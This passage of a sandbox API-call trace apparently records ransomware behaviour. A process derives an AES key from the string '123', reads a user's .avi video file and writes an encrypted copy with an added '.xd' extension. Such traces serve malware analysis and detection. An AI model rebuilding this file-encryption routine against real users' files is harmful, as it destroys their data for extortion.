cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629660, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.429] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629700, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.429] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.429] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.429] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.430] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.430] CryptHashData (hHash=0x164c7b0, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.430] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.430] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.430] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.430] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.430] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.430] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.430] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.430] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.431] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.431] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9b0) returned 1 [0067.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.431] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.431] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.431] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.431] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.431] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0067.431] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.432] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.433] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.433] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.433] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.433] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\5pucv7xxdpd6s1w4s.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.434] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.434] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.434] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.435] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\5pUCV7XxDpd6s1w4S.avi.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\5pucv7xxdpd6s1w4s.avi.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.438] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.438] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xd9d5, lpOverlapped=0x0) returned 1 [0067.439] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.444] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.445] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.445] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.445] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.445] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.445] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.445] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.445] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.445] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.445] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.445] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.446] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.446] CryptGetKeyParam (in: hKey=0x164c9b0, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.446] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.446] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.446] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.446] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.446] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.447] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.447] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.448] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.448] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xd9d5, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xd9e0) returned 1 [0067.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.448] CharLowerBuffW (in: lpsz="byte[55777]", cchLength=0xb | out: lpsz="byte[55777]") returned 0xb [0067.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.449] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.449] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.449] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0067.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0067.450] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0067.450] CryptEncrypt (in: hKey=0x164c9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xd9d5, dwBufLen=0xd9e0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xd9e0) returned 1 [0067.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.450] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.450] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.450] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.450] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.450] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.450] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.451] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.451] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.451] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.456] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.456] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.456] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xd9e0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xd9e0, lpOverlapped=0x0) returned 1 [0067.458] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.458] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.458] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.458] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.458] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.459] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 